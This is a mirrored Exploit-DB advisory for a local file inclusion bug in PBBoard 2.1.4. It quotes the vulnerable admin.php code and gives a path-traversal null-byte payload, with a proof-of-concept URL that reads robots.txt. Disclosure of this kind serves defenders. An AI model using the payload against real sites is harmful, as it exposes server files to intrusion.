PBBoard 2.1.4 – Local File Inclusion - 体验盒子

作者： n4ss1m

日期： 2012-05-28

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/18937/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

################################################################################################

# Exploit Title: PBBoard 2.1.4 Local File Inclusion

# Software Link: http://www.pbboard.com/PBBoard_v2.1.4.zip

# Author: n4ss1m

# Date: 25-05-2012

# Tested on: win/linux

# Home : www.Sec4ever.com

################################################################################################

# Exploit-DB note:

# Need to be logged in, at the very least, as

# a standard user to trigger this vulnerability

#

# Local File Inclusion ( admin.php )

<?php

define('IN_PowerBB',true);

$page = empty($_GET['page']) ? 'index' : $_GET['page']; # $page ==>

$_GET['page']

$page = str_replace( 'note', 'notes', $page );

$page = str_replace( 'index', 'main', $page );

$module = ('modules/admin/'.$page.'.module.php'); # $module ==>

'modules/admin/'.$page.'.module.php'

if (!file_exists($module))

{

....

}

require_once($module); # Ops ! LFI

//////////

$class_name = CLASS_NAME;

$class_name = new $class_name;

$class_name->run();

?>

# Explotion

http://domain.tld/admin.php?page=../../[FILENAME][Nullbyte]

# PoC :

http://domain.tld/admin.php?page=../../robots.txt%00

################################################################################################

# References : http://www.exploit4arab.com/exploits/70

# Vendor reported on : 25-05-2012

# published on : 27-05-2012

################################################################################################